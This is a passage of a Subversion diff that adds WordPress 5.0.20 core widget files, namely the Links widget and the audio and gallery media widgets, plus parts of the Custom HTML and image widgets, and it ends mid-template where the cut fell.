+				/* translators: 1: link to user profile, 2: additional link attributes, 3: accessibility text */
+				__( 'The edit field automatically highlights code syntax. You can disable this in your <a href="%1$s" %2$s>user profile%3$s</a> to work in plain text mode.' ),
+				esc_url( get_edit_profile_url() ),
+				'class="external-link" target="_blank"',
+				sprintf( '<span class="screen-reader-text"> %s</span>',
+					/* translators: accessibility text */
+					__( '(opens in a new window)' )
+				)
+			);
+			$content .= '</p>';
+
+			$content .= '<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>';
+			$content .= '<ul>';
+			$content .= '<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>';
+			$content .= '<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>';
+			$content .= '<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>';
+			$content .= '</ul>';
+		}
+
+		$screen->add_help_tab( array(
+			'id' => 'custom_html_widget',
+			'title' => __( 'Custom HTML Widget' ),
+			'content' => $content,
+		) );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-links.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-links.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-links.php	(revision 56912)
@@ -0,0 +1,162 @@
+<?php
+/**
+ * Widget API: WP_Widget_Links class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a Links widget.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Links extends WP_Widget {
+
+	/**
+	 * Sets up a new Links widget instance.
+	 *
+	 * @since 2.8.0
+	 */
+	public function __construct() {
+		$widget_ops = array(
+			'description' => __( 'Your blogroll' ),
+			'customize_selective_refresh' => true,
+		);
+		parent::__construct( 'links', __( 'Links' ), $widget_ops );
+	}
+
+	/**
+	 * Outputs the content for the current Links widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $args     Display arguments including 'before_title', 'after_title',
+	 *                        'before_widget', and 'after_widget'.
+	 * @param array $instance Settings for the current Links widget instance.
+	 */
+	public function widget( $args, $instance ) {
+		$show_description = isset($instance['description']) ? $instance['description'] : false;
+		$show_name = isset($instance['name']) ? $instance['name'] : false;
+		$show_rating = isset($instance['rating']) ? $instance['rating'] : false;
+		$show_images = isset($instance['images']) ? $instance['images'] : true;
+		$category = isset($instance['category']) ? $instance['category'] : false;
+		$orderby = isset( $instance['orderby'] ) ? $instance['orderby'] : 'name';
+		$order = $orderby == 'rating' ? 'DESC' : 'ASC';
+		$limit = isset( $instance['limit'] ) ? $instance['limit'] : -1;
+
+		$before_widget = preg_replace( '/id="[^"]*"/', 'id="%id"', $args['before_widget'] );
+
+		$widget_links_args = array(
+			'title_before'     => $args['before_title'],
+			'title_after'      => $args['after_title'],
+			'category_before'  => $before_widget,
+			'category_after'   => $args['after_widget'],
+			'show_images'      => $show_images,
+			'show_description' => $show_description,
+			'show_name'        => $show_name,
+			'show_rating'      => $show_rating,
+			'category'         => $category,
+			'class'            => 'linkcat widget',
+			'orderby'          => $orderby,
+			'order'            => $order,
+			'limit'            => $limit,
+		);
+
+		/**
+		 * Filters the arguments for the Links widget.
+		 *
+		 * @since 2.6.0
+		 * @since 4.4.0 Added the `$instance` parameter.
+		 *
+		 * @see wp_list_bookmarks()
+		 *
+		 * @param array $widget_links_args An array of arguments to retrieve the links list.
+		 * @param array $instance          The settings for the particular instance of the widget.
+		 */
+		wp_list_bookmarks( apply_filters( 'widget_links_args', $widget_links_args, $instance ) );
+	}
+
+	/**
+	 * Handles updating settings for the current Links widget instance.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            WP_Widget::form().
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Updated settings to save.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		$new_instance = (array) $new_instance;
+		$instance = array( 'images' => 0, 'name' => 0, 'description' => 0, 'rating' => 0 );
+		foreach ( $instance as $field => $val ) {
+			if ( isset($new_instance[$field]) )
+				$instance[$field] = 1;
+		}
+
+		$instance['orderby'] = 'name';
+		if ( in_array( $new_instance['orderby'], array( 'name', 'rating', 'id', 'rand' ) ) )
+			$instance['orderby'] = $new_instance['orderby'];
+
+		$instance['category'] = intval( $new_instance['category'] );
+		$instance['limit'] = ! empty( $new_instance['limit'] ) ? intval( $new_instance['limit'] ) : -1;
+
+		return $instance;
+	}
+
+	/**
+	 * Outputs the settings form for the Links widget.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $instance Current settings.
+	 */
+	public function form( $instance ) {
+
+		//Defaults
+		$instance = wp_parse_args( (array) $instance, array( 'images' => true, 'name' => true, 'description' => false, 'rating' => false, 'category' => false, 'orderby' => 'name', 'limit' => -1 ) );
+		$link_cats = get_terms( 'link_category' );
+		if ( ! $limit = intval( $instance['limit'] ) )
+			$limit = -1;
+			?>
+		<p>
+		<label for="<?php echo $this->get_field_id('category'); ?>"><?php _e( 'Select Link Category:' ); ?></label>
+		<select class="widefat" id="<?php echo $this->get_field_id('category'); ?>" name="<?php echo $this->get_field_name('category'); ?>">
+		<option value=""><?php _ex('All Links', 'links widget'); ?></option>
+		<?php
+		foreach ( $link_cats as $link_cat ) {
+			echo '<option value="' . intval( $link_cat->term_id ) . '"'
+				. selected( $instance['category'], $link_cat->term_id, false )
+				. '>' . $link_cat->name . "</option>\n";
+		}
+		?>
+		</select>
+		<label for="<?php echo $this->get_field_id('orderby'); ?>"><?php _e( 'Sort by:' ); ?></label>
+		<select name="<?php echo $this->get_field_name('orderby'); ?>" id="<?php echo $this->get_field_id('orderby'); ?>" class="widefat">
+			<option value="name"<?php selected( $instance['orderby'], 'name' ); ?>><?php _e( 'Link title' ); ?></option>
+			<option value="rating"<?php selected( $instance['orderby'], 'rating' ); ?>><?php _e( 'Link rating' ); ?></option>
+			<option value="id"<?php selected( $instance['orderby'], 'id' ); ?>><?php _e( 'Link ID' ); ?></option>
+			<option value="rand"<?php selected( $instance['orderby'], 'rand' ); ?>><?php _ex( 'Random', 'Links widget' ); ?></option>
+		</select>
+		</p>
+		<p>
+		<input class="checkbox" type="checkbox"<?php checked($instance['images'], true) ?> id="<?php echo $this->get_field_id('images'); ?>" name="<?php echo $this->get_field_name('images'); ?>" />
+		<label for="<?php echo $this->get_field_id('images'); ?>"><?php _e('Show Link Image'); ?></label><br />
+		<input class="checkbox" type="checkbox"<?php checked($instance['name'], true) ?> id="<?php echo $this->get_field_id('name'); ?>" name="<?php echo $this->get_field_name('name'); ?>" />
+		<label for="<?php echo $this->get_field_id('name'); ?>"><?php _e('Show Link Name'); ?></label><br />
+		<input class="checkbox" type="checkbox"<?php checked($instance['description'], true) ?> id="<?php echo $this->get_field_id('description'); ?>" name="<?php echo $this->get_field_name('description'); ?>" />
+		<label for="<?php echo $this->get_field_id('description'); ?>"><?php _e('Show Link Description'); ?></label><br />
+		<input class="checkbox" type="checkbox"<?php checked($instance['rating'], true) ?> id="<?php echo $this->get_field_id('rating'); ?>" name="<?php echo $this->get_field_name('rating'); ?>" />
+		<label for="<?php echo $this->get_field_id('rating'); ?>"><?php _e('Show Link Rating'); ?></label>
+		</p>
+		<p>
+		<label for="<?php echo $this->get_field_id('limit'); ?>"><?php _e( 'Number of links to show:' ); ?></label>
+		<input id="<?php echo $this->get_field_id('limit'); ?>" name="<?php echo $this->get_field_name('limit'); ?>" type="text" value="<?php echo $limit == -1 ? '' : intval( $limit ); ?>" size="3" />
+		</p>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-audio.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-audio.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-audio.php	(revision 56912)
@@ -0,0 +1,200 @@
+<?php
+/**
+ * Widget API: WP_Widget_Media_Audio class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.8.0
+ */
+
+/**
+ * Core class that implements an audio widget.
+ *
+ * @since 4.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Media_Audio extends WP_Widget_Media {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since  4.8.0
+	 */
+	public function __construct() {
+		parent::__construct( 'media_audio', __( 'Audio' ), array(
+			'description' => __( 'Displays an audio player.' ),
+			'mime_type'   => 'audio',
+		) );
+
+		$this->l10n = array_merge( $this->l10n, array(
+			'no_media_selected' => __( 'No audio selected' ),
+			'add_media' => _x( 'Add Audio', 'label for button in the audio widget' ),
+			'replace_media' => _x( 'Replace Audio', 'label for button in the audio widget; should preferably not be longer than ~13 characters long' ),
+			'edit_media' => _x( 'Edit Audio', 'label for button in the audio widget; should preferably not be longer than ~13 characters long' ),
+			'missing_attachment' => sprintf(
+				/* translators: %s: URL to media library */
+				__( 'We can&#8217;t find that audio file. Check your <a href="%s">media library</a> and make sure it wasn&#8217;t deleted.' ),
+				esc_url( admin_url( 'upload.php' ) )
+			),
+			/* translators: %d: widget count */
+			'media_library_state_multi' => _n_noop( 'Audio Widget (%d)', 'Audio Widget (%d)' ),
+			'media_library_state_single' => __( 'Audio Widget' ),
+			'unsupported_file_type' => __( 'Looks like this isn&#8217;t the correct kind of file. Please link to an audio file instead.' ),
+		) );
+	}
+
+	/**
+	 * Get schema for properties of a widget instance (item).
+	 *
+	 * @since  4.8.0
+	 *
+	 * @see WP_REST_Controller::get_item_schema()
+	 * @see WP_REST_Controller::get_additional_fields()
+	 * @link https://core.trac.wordpress.org/ticket/35574
+	 * @return array Schema for properties.
+	 */
+	public function get_instance_schema() {
+		$schema = array_merge(
+			parent::get_instance_schema(),
+			array(
+				'preload' => array(
+					'type' => 'string',
+					'enum' => array( 'none', 'auto', 'metadata' ),
+					'default' => 'none',
+					'description' => __( 'Preload' ),
+				),
+				'loop' => array(
+					'type' => 'boolean',
+					'default' => false,
+					'description' => __( 'Loop' ),
+				),
+			)
+		);
+
+		foreach ( wp_get_audio_extensions() as $audio_extension ) {
+			$schema[ $audio_extension ] = array(
+				'type' => 'string',
+				'default' => '',
+				'format' => 'uri',
+				/* translators: %s: audio extension */
+				'description' => sprintf( __( 'URL to the %s audio source file' ), $audio_extension ),
+			);
+		}
+
+		return $schema;
+	}
+
+	/**
+	 * Render the media on the frontend.
+	 *
+	 * @since  4.8.0
+	 *
+	 * @param array $instance Widget instance props.
+	 * @return void
+	 */
+	public function render_media( $instance ) {
+		$instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
+		$attachment = null;
+
+		if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) {
+			$attachment = get_post( $instance['attachment_id'] );
+		}
+
+		if ( $attachment ) {
+			$src = wp_get_attachment_url( $attachment->ID );
+		} else {
+			$src = $instance['url'];
+		}
+
+		echo wp_audio_shortcode(
+			array_merge(
+				$instance,
+				compact( 'src' )
+			)
+		);
+	}
+
+	/**
+	 * Enqueue preview scripts.
+	 *
+	 * These scripts normally are enqueued just-in-time when an audio shortcode is used.
+	 * In the customizer, however, widgets can be dynamically added and rendered via
+	 * selective refresh, and so it is important to unconditionally enqueue them in
+	 * case a widget does get added.
+	 *
+	 * @since 4.8.0
+	 */
+	public function enqueue_preview_scripts() {
+		/** This filter is documented in wp-includes/media.php */
+		if ( 'mediaelement' === apply_filters( 'wp_audio_shortcode_library', 'mediaelement' ) ) {
+			wp_enqueue_style( 'wp-mediaelement' );
+			wp_enqueue_script( 'wp-mediaelement' );
+		}
+	}
+
+	/**
+	 * Loads the required media files for the media manager and scripts for media widgets.
+	 *
+	 * @since 4.8.0
+	 */
+	public function enqueue_admin_scripts() {
+		parent::enqueue_admin_scripts();
+
+		wp_enqueue_style( 'wp-mediaelement' );
+		wp_enqueue_script( 'wp-mediaelement' );
+
+		$handle = 'media-audio-widget';
+		wp_enqueue_script( $handle );
+
+		$exported_schema = array();
+		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
+			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) );
+		}
+		wp_add_inline_script(
+			$handle,
+			sprintf(
+				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
+				wp_json_encode( $this->id_base ),
+				wp_json_encode( $exported_schema )
+			)
+		);
+
+		wp_add_inline_script(
+			$handle,
+			sprintf(
+				'
+					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
+					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
+				',
+				wp_json_encode( $this->id_base ),
+				wp_json_encode( $this->widget_options['mime_type'] ),
+				wp_json_encode( $this->l10n )
+			)
+		);
+	}
+
+	/**
+	 * Render form template scripts.
+	 *
+	 * @since 4.8.0
+	 */
+	public function render_control_template_scripts() {
+		parent::render_control_template_scripts()
+		?>
+		<script type="text/html" id="tmpl-wp-media-widget-audio-preview">
+			<# if ( data.error && 'missing_attachment' === data.error ) { #>
+				<div class="notice notice-error notice-alt notice-missing-attachment">
+					<p><?php echo $this->l10n['missing_attachment']; ?></p>
+				</div>
+			<# } else if ( data.error ) { #>
+				<div class="notice notice-error notice-alt">
+					<p><?php _e( 'Unable to preview media due to an unknown error.' ); ?></p>
+				</div>
+			<# } else if ( data.model && data.model.src ) { #>
+				<?php wp_underscore_audio_template() ?>
+			<# } #>
+		</script>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-gallery.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-gallery.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-gallery.php	(revision 56912)
@@ -0,0 +1,229 @@
+<?php
+/**
+ * Widget API: WP_Widget_Media_Gallery class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.9.0
+ */
+
+/**
+ * Core class that implements a gallery widget.
+ *
+ * @since 4.9.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Media_Gallery extends WP_Widget_Media {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.9.0
+	 */
+	public function __construct() {
+		parent::__construct( 'media_gallery', __( 'Gallery' ), array(
+			'description' => __( 'Displays an image gallery.' ),
+			'mime_type'   => 'image',
+		) );
+
+		$this->l10n = array_merge( $this->l10n, array(
+			'no_media_selected' => __( 'No images selected' ),
+			'add_media' => _x( 'Add Images', 'label for button in the gallery widget; should not be longer than ~13 characters long' ),
+			'replace_media' => '',
+			'edit_media' => _x( 'Edit Gallery', 'label for button in the gallery widget; should not be longer than ~13 characters long' ),
+		) );
+	}
+
+	/**
+	 * Get schema for properties of a widget instance (item).
+	 *
+	 * @since 4.9.0
+	 *
+	 * @see WP_REST_Controller::get_item_schema()
+	 * @see WP_REST_Controller::get_additional_fields()
+	 * @link https://core.trac.wordpress.org/ticket/35574
+	 * @return array Schema for properties.
+	 */
+	public function get_instance_schema() {
+		$schema = array(
+			'title' => array(
+				'type' => 'string',
+				'default' => '',
+				'sanitize_callback' => 'sanitize_text_field',
+				'description' => __( 'Title for the widget' ),
+				'should_preview_update' => false,
+			),
+			'ids' => array(
+				'type' => 'array',
+				'items' => array(
+					'type' => 'integer',
+				),
+				'default' => array(),
+				'sanitize_callback' => 'wp_parse_id_list',
+			),
+			'columns' => array(
+				'type' => 'integer',
+				'default' => 3,
+				'minimum' => 1,
+				'maximum' => 9,
+			),
+			'size' => array(
+				'type' => 'string',
+				'enum' => array_merge( get_intermediate_image_sizes(), array( 'full', 'custom' ) ),
+				'default' => 'thumbnail',
+			),
+			'link_type' => array(
+				'type' => 'string',
+				'enum' => array( 'post', 'file', 'none' ),
+				'default' => 'post',
+				'media_prop' => 'link',
+				'should_preview_update' => false,
+			),
+			'orderby_random' => array(
+				'type'                  => 'boolean',
+				'default'               => false,
+				'media_prop'            => '_orderbyRandom',
+				'should_preview_update' => false,
+			),
+		);
+
+		/** This filter is documented in wp-includes/widgets/class-wp-widget-media.php */
+		$schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this );
+
+		return $schema;
+	}
+
+	/**
+	 * Render the media on the frontend.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $instance Widget instance props.
+	 * @return void
+	 */
+	public function render_media( $instance ) {
+		$instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
+
+		$shortcode_atts = array_merge(
+			$instance,
+			array(
+				'link' => $instance['link_type'],
+			)
+		);
+
+		// @codeCoverageIgnoreStart
+		if ( $instance['orderby_random'] ) {
+			$shortcode_atts['orderby'] = 'rand';
+		}
+
+		// @codeCoverageIgnoreEnd
+		echo gallery_shortcode( $shortcode_atts );
+	}
+
+	/**
+	 * Loads the required media files for the media manager and scripts for media widgets.
+	 *
+	 * @since 4.9.0
+	 */
+	public function enqueue_admin_scripts() {
+		parent::enqueue_admin_scripts();
+
+		$handle = 'media-gallery-widget';
+		wp_enqueue_script( $handle );
+
+		$exported_schema = array();
+		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
+			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update', 'items' ) );
+		}
+		wp_add_inline_script(
+			$handle,
+			sprintf(
+				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
+				wp_json_encode( $this->id_base ),
+				wp_json_encode( $exported_schema )
+			)
+		);
+
+		wp_add_inline_script(
+			$handle,
+			sprintf(
+				'
+					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
+					_.extend( wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
+				',
+				wp_json_encode( $this->id_base ),
+				wp_json_encode( $this->widget_options['mime_type'] ),
+				wp_json_encode( $this->l10n )
+			)
+		);
+	}
+
+	/**
+	 * Render form template scripts.
+	 *
+	 * @since 4.9.0
+	 */
+	public function render_control_template_scripts() {
+		parent::render_control_template_scripts();
+		?>
+		<script type="text/html" id="tmpl-wp-media-widget-gallery-preview">
+			<# var describedById = 'describedBy-' + String( Math.random() ); #>
+			<# if ( data.ids.length ) { #>
+				<div class="gallery media-widget-gallery-preview">
+					<# _.each( data.ids, function( id, index ) { #>
+						<#
+						var attachment = data.attachments[ id ];
+						if ( ! attachment ) {
+							return;
+						}
+						#>
+						<# if ( index < 6 ) { #>
+							<dl class="gallery-item">
+								<dt class="gallery-icon">
+								<# if ( attachment.sizes.thumbnail ) { #>
+									<img src="{{ attachment.sizes.thumbnail.url }}" width="{{ attachment.sizes.thumbnail.width }}" height="{{ attachment.sizes.thumbnail.height }}" alt="" />
+								<# } else { #>
+									<img src="{{ attachment.url }}" alt="" />
+								<# } #>
+								<# if ( index === 5 && data.ids.length > 6 ) { #>
+									<div class="gallery-icon-placeholder">
+										<p class="gallery-icon-placeholder-text">+{{ data.ids.length - 5 }}</p>
+									</div>
+								<# } #>
+								</dt>
+							</dl>
+						<# } #>
+					<# } ); #>
+				</div>
+			<# } else { #>
+				<div class="attachment-media-view">
+					<p class="placeholder"><?php echo esc_html( $this->l10n['no_media_selected'] ); ?></p>
+				</div>
+			<# } #>
+		</script>
+		<?php
+	}
+
+	/**
+	 * Whether the widget has content to show.
+	 *
+	 * @since 4.9.0
+	 * @access protected
+	 *
+	 * @param array $instance Widget instance props.
+	 * @return bool Whether widget has content.
+	 */
+	protected function has_content( $instance ) {
+		if ( ! empty( $instance['ids'] ) ) {
+			$attachments = wp_parse_id_list( $instance['ids'] );
+			foreach ( $attachments as $attachment ) {
+				if ( 'attachment' !== get_post_type( $attachment ) ) {
+					return false;
+				}
+			}
+			return true;
+		}
+		return false;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-image.php
===================================================================
--- /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/widgets/class-wp-widget-media-image.php	(revision 56912)
@@ -0,0 +1,349 @@
+<?php
+/**
+ * Widget API: WP_Widget_Media_Image class
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 4.8.0
+ */
+
+/**
+ * Core class that implements an image widget.
+ *
+ * @since 4.8.0
+ *
+ * @see WP_Widget
+ */
+class WP_Widget_Media_Image extends WP_Widget_Media {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since  4.8.0
+	 */
+	public function __construct() {
+		parent::__construct( 'media_image', __( 'Image' ), array(
+			'description' => __( 'Displays an image.' ),
+			'mime_type'   => 'image',
+		) );
+
+		$this->l10n = array_merge( $this->l10n, array(
+			'no_media_selected' => __( 'No image selected' ),
+			'add_media' => _x( 'Add Image', 'label for button in the image widget' ),
+			'replace_media' => _x( 'Replace Image', 'label for button in the image widget; should preferably not be longer than ~13 characters long' ),
+			'edit_media' => _x( 'Edit Image', 'label for button in the image widget; should preferably not be longer than ~13 characters long' ),
+			'missing_attachment' => sprintf(
+				/* translators: %s: URL to media library */
+				__( 'We can&#8217;t find that image. Check your <a href="%s">media library</a> and make sure it wasn&#8217;t deleted.' ),
+				esc_url( admin_url( 'upload.php' ) )
+			),
+			/* translators: %d: widget count */
+			'media_library_state_multi' => _n_noop( 'Image Widget (%d)', 'Image Widget (%d)' ),
+			'media_library_state_single' => __( 'Image Widget' ),
+		) );
+	}
+
+	/**
+	 * Get schema for properties of a widget instance (item).
+	 *
+	 * @since  4.8.0
+	 *
+	 * @see WP_REST_Controller::get_item_schema()
+	 * @see WP_REST_Controller::get_additional_fields()
+	 * @link https://core.trac.wordpress.org/ticket/35574
+	 * @return array Schema for properties.
+	 */
+	public function get_instance_schema() {
+		return array_merge(
+			parent::get_instance_schema(),
+			array(
+				'size' => array(
+					'type' => 'string',
+					'enum' => array_merge( get_intermediate_image_sizes(), array( 'full', 'custom' ) ),
+					'default' => 'medium',
+					'description' => __( 'Size' ),
+				),
+				'width' => array( // Via 'customWidth', only when size=custom; otherwise via 'width'.
+					'type' => 'integer',
+					'minimum' => 0,
+					'default' => 0,
+					'description' => __( 'Width' ),
+				),
+				'height' => array( // Via 'customHeight', only when size=custom; otherwise via 'height'.
+					'type' => 'integer',
+					'minimum' => 0,
+					'default' => 0,
+					'description' => __( 'Height' ),
+				),
+
+				'caption' => array(
+					'type' => 'string',
+					'default' => '',
+					'sanitize_callback' => 'wp_kses_post',
+					'description' => __( 'Caption' ),
+					'should_preview_update' => false,
+				),
+				'alt' => array(
+					'type' => 'string',
+					'default' => '',
+					'sanitize_callback' => 'sanitize_text_field',
+					'description' => __( 'Alternative Text' ),
+				),
+				'link_type' => array(
+					'type' => 'string',
+					'enum' => array( 'none', 'file', 'post', 'custom' ),
+					'default' => 'custom',
+					'media_prop' => 'link',
+					'description' => __( 'Link To' ),
+					'should_preview_update' => true,
+				),
+				'link_url' => array(
+					'type' => 'string',
+					'default' => '',
+					'format' => 'uri',
+					'media_prop' => 'linkUrl',
+					'description' => __( 'URL' ),
+					'should_preview_update' => true,
+				),
+				'image_classes' => array(
+					'type' => 'string',
+					'default' => '',
+					'sanitize_callback' => array( $this, 'sanitize_token_list' ),
+					'media_prop' => 'extraClasses',
+					'description' => __( 'Image CSS Class' ),
+					'should_preview_update' => false,
+				),
+				'link_classes' => array(
+					'type' => 'string',
+					'default' => '',
+					'sanitize_callback' => array( $this, 'sanitize_token_list' ),
+					'media_prop' => 'linkClassName',
+					'should_preview_update' => false,
+					'description' => __( 'Link CSS Class' ),
+				),
+				'link_rel' => array(
+					'type' => 'string',
+					'default' => '',
+					'sanitize_callback' => array( $this, 'sanitize_token_list' ),
+					'media_prop' => 'linkRel',
+					'description' => __( 'Link Rel' ),
+					'should_preview_update' => false,
+				),
+				'link_target_blank' => array(
+					'type' => 'boolean',
+					'default' => false,
+					'media_prop' => 'linkTargetBlank',
+					'description' => __( 'Open link in a new tab' ),
+					'should_preview_update' => false,
+				),
+				'image_title' => array(
+					'type' => 'string',
+					'default' => '',
+					'sanitize_callback' => 'sanitize_text_field',
+					'media_prop' => 'title',
+					'description' => __( 'Image Title Attribute' ),
+					'should_preview_update' => false,
+				),
+
+				/*
+				 * There are two additional properties exposed by the PostImage modal
+				 * that don't seem to be relevant, as they may only be derived read-only
+				 * values:
+				 * - originalUrl
+				 * - aspectRatio
+				 * - height (redundant when size is not custom)
+				 * - width (redundant when size is not custom)
+				 */
+			)
+		);
+	}
+
+	/**
+	 * Render the media on the frontend.
+	 *
+	 * @since  4.8.0
+	 *
+	 * @param array $instance Widget instance props.
+	 * @return void
+	 */
+	public function render_media( $instance ) {
+		$instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
+		$instance = wp_parse_args( $instance, array(
+			'size' => 'thumbnail',
+		) );
+
+		$attachment = null;
+		if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) {
+			$attachment = get_post( $instance['attachment_id'] );
+		}
+		if ( $attachment ) {
+			$caption = '';
+			if ( ! isset( $instance['caption'] ) ) {
+				$caption = $attachment->post_excerpt;
+			} elseif ( trim( $instance['caption'] ) ) {
+				$caption = $instance['caption'];
+			}
+
+			$image_attributes = array(
+				'class' => sprintf( 'image wp-image-%d %s', $attachment->ID, $instance['image_classes'] ),
+				'style' => 'max-width: 100%; height: auto;',
+			);
+			if ( ! empty( $instance['image_title'] ) ) {
+				$image_attributes['title'] = $instance['image_title'];
+			}
+
+			if ( $instance['alt'] ) {
+				$image_attributes['alt'] = $instance['alt'];
+			}
+
+			$size = $instance['size'];
+			if ( 'custom' === $size || ! in_array( $size, array_merge( get_intermediate_image_sizes(), array( 'full' ) ), true ) ) {
+				$size = array( $instance['width'], $instance['height'] );
+			}
+			$image_attributes['class'] .= sprintf( ' attachment-%1$s size-%1$s', is_array( $size ) ? join( 'x', $size ) : $size );
+
+			$image = wp_get_attachment_image( $attachment->ID, $size, false, $image_attributes );
+
+			$caption_size = _wp_get_image_size_from_meta( $instance['size'], wp_get_attachment_metadata( $attachment->ID ) );
+			$width = empty( $caption_size[0] ) ? 0 : $caption_size[0];
+
+		} else {
+			if ( empty( $instance['url'] ) ) {
+				return;
+			}
+
+			$instance['size'] = 'custom';
+			$caption = $instance['caption'];
+			$width   = $instance['width'];
+			$classes = 'image ' . $instance['image_classes'];
+			if ( 0 === $instance['width'] ) {
+				$instance['width'] = '';
+			}
+			if ( 0 === $instance['height'] ) {
+				$instance['height'] = '';
+			}
+
+			$image = sprintf( '<img class="%1$s" src="%2$s" alt="%3$s" width="%4$s" height="%5$s" />',
+				esc_attr( $classes ),
+				esc_url( $instance['url'] ),
+				esc_attr( $instance['alt'] ),
+				esc_attr( $instance['width'] ),
+				esc_attr( $instance['height'] )
+			);
+		} // End if().
+
+		$url = '';
+		if ( 'file' === $instance['link_type'] ) {
+			$url = $attachment ? wp_get_attachment_url( $attachment->ID ) : $instance['url'];
+		} elseif ( $attachment && 'post' === $instance['link_type'] ) {
+			$url = get_attachment_link( $attachment->ID );
+		} elseif ( 'custom' === $instance['link_type'] && ! empty( $instance['link_url'] ) ) {
+			$url = $instance['link_url'];
+		}
+
+		if ( $url ) {
+			$link = sprintf( '<a href="%s"', esc_url( $url ) );
+			if ( ! empty( $instance['link_classes'] ) ) {
+				$link .= sprintf( ' class="%s"', esc_attr( $instance['link_classes'] ) );
+			}
+			if ( ! empty( $instance['link_rel'] ) ) {
+				$link .= sprintf( ' rel="%s"', esc_attr( $instance['link_rel'] ) );
+			}
+			if ( ! empty( $instance['link_target_blank'] ) ) {
+				$link .= ' target="_blank"';
+			}
+			$link .= '>';
+			$link .= $image;
+			$link .= '</a>';
+			$image = $link;
+		}
+
+		if ( $caption ) {
+			$image = img_caption_shortcode( array(
+				'width' => $width,
+				'caption' => $caption,
+			), $image );
+		}
+
+		echo $image;
+	}
+
+	/**
+	 * Loads the required media files for the media manager and scripts for media widgets.
+	 *
+	 * @since 4.8.0
+	 */
+	public function enqueue_admin_scripts() {
+		parent::enqueue_admin_scripts();
+
+		$handle = 'media-image-widget';
+		wp_enqueue_script( $handle );
+
+		$exported_schema = array();
+		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
+			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) );
+		}
+		wp_add_inline_script(
+			$handle,
+			sprintf(
+				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
+				wp_json_encode( $this->id_base ),
+				wp_json_encode( $exported_schema )
+			)
+		);
+
+		wp_add_inline_script(
+			$handle,
+			sprintf(
+				'
+					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
+					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
+				',
+				wp_json_encode( $this->id_base ),
+				wp_json_encode( $this->widget_options['mime_type'] ),
+				wp_json_encode( $this->l10n )
+			)
+		);
+	}
+
+	/**
+	 * Render form template scripts.
+	 *
+	 * @since 4.8.0
+	 */
+	public function render_control_template_scripts() {
+		parent::render_control_template_scripts();
+
+		?>
+		<script type="text/html" id="tmpl-wp-media-widget-image-fields">
+			<# var elementIdPrefix = 'el' + String( Math.random() ) + '_'; #>
+			<# if ( data.url ) { #>
